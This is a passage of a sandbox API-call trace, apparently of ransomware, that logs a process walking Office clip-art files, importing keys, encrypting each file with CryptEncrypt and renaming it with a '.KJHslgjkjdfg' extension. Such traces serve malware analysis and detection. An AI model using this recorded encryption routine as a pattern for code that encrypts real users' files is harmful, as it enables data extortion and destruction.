lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0215.593] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0215.593] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0215.593] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0215.593] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0215.594] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0215.594] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0215.594] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.594] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xba4, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xba4, lpOverlapped=0x0) returned 1 [0215.594] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xbb0, dwBufLen=0xbb0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xbb0) returned 1 [0215.594] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.594] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xbb0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xbb0, lpOverlapped=0x0) returned 1 [0215.594] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0215.594] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xc84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.594] SetEndOfFile (hFile=0x130) returned 1 [0215.596] GetProcessHeap () returned 0x2ef0000 [0215.597] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0215.597] GetProcessHeap () returned 0x2ef0000 [0215.597] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0215.597] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00807_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00807_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00807_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00807_.wmf.kjhslgjkjdfg")) returned 1 [0215.598] CloseHandle (hObject=0x130) returned 1 [0215.598] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7bce0800, ftCreationTime.dwHighDateTime=0x1bd4b0d, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7bce0800, ftLastWriteTime.dwHighDateTime=0x1bd4b0d, nFileSizeHigh=0x0, nFileSizeLow=0x514, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA00808_.WMF", cAlternateFileName="")) returned 1 [0215.598] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00808_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00808_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0215.610] GetProcessHeap () returned 0x2ef0000 [0215.610] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0215.610] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0215.610] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0215.610] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0215.641] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0215.641] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0215.641] GetProcessHeap () returned 0x2ef0000 [0215.641] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0215.641] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0215.641] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0215.641] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0215.641] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0215.643] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0215.653] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0215.654] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0215.656] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0215.657] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0215.657] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0215.657] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.658] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x514, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x514, lpOverlapped=0x0) returned 1 [0215.659] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x520, dwBufLen=0x520 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x520) returned 1 [0215.659] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.663] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x520, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x520, lpOverlapped=0x0) returned 1 [0215.664] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0215.664] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x5f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.665] SetEndOfFile (hFile=0x130) returned 1 [0215.693] GetProcessHeap () returned 0x2ef0000 [0215.693] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0215.693] GetProcessHeap () returned 0x2ef0000 [0215.693] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0215.693] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00808_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00808_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00808_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00808_.wmf.kjhslgjkjdfg")) returned 1 [0215.695] CloseHandle (hObject=0x130) returned 1 [0215.695] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe92d6900, ftCreationTime.dwHighDateTime=0x1bd4b0c, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe92d6900, ftLastWriteTime.dwHighDateTime=0x1bd4b0c, nFileSizeHigh=0x0, nFileSizeLow=0x608, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA00809_.WMF", cAlternateFileName="")) returned 1 [0215.695] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00809_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00809_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0215.696] GetProcessHeap () returned 0x2ef0000 [0215.696] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0215.696] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0215.696] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0215.696] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0215.698] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0215.698] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0215.698] GetProcessHeap () returned 0x2ef0000 [0215.698] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0215.698] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0215.698] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0215.698] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0215.698] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0215.698] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0215.698] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0215.699] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0215.699] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0215.699] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0215.699] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0215.699] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.699] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x608, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x608, lpOverlapped=0x0) returned 1 [0215.699] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x610, dwBufLen=0x610 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x610) returned 1 [0215.699] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.699] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x610, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x610, lpOverlapped=0x0) returned 1 [0215.699] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0215.699] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x6e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.699] SetEndOfFile (hFile=0x130) returned 1 [0215.701] GetProcessHeap () returned 0x2ef0000 [0215.701] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0215.701] GetProcessHeap () returned 0x2ef0000 [0215.701] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0215.701] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00809_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00809_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00809_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00809_.wmf.kjhslgjkjdfg")) returned 1 [0215.703] CloseHandle (hObject=0x130) returned 1 [0215.703] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd58, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA00810_.WMF", cAlternateFileName="")) returned 1 [0215.703] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00810_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00810_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0215.705] GetProcessHeap () returned 0x2ef0000 [0215.706] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0215.706] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0215.706] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0215.706] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0215.708] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0215.708] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0215.708] GetProcessHeap () returned 0x2ef0000 [0215.708] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0215.708] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0215.708] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0215.708] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0215.708] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0215.708] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0215.709] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0215.709] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0215.709] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0215.709] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0215.709] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0215.709] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.709] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xd58, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xd58, lpOverlapped=0x0) returned 1 [0215.709] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xd60, dwBufLen=0xd60 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xd60) returned 1 [0215.710] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.710] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xd60, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xd60, lpOverlapped=0x0) returned 1 [0215.710] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0215.710] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xe34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0215.710] SetEndOfFile (hFile=0x130) returned 1 [0215.713] GetProcessHeap () returned 0x2ef0000 [0215.713] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0215.713] GetProcessHeap () returned 0x2ef0000 [0215.713] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0215.713] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00810_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00810_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00810_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00810_.wmf.kjhslgjkjdfg")) returned 1 [0215.715] CloseHandle (hObject=0x130) returned 1 [0215.715] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3210, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA00932_.WMF", cAlternateFileName="")) returned 1 [0215.715] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00932_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0215.716] GetProcessHeap () returned 0x2ef0000 [0215.716] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0215.716] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0215.716] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0215.716] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0215.716] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0215.716] GetProcessHeap () returned 0x2ef0000 [0215.716] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0215.716] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0215.716] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0215.716] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0215.733] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0215.733] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0215.733] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0215.733] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0215.733] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0215.733] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0215.733] 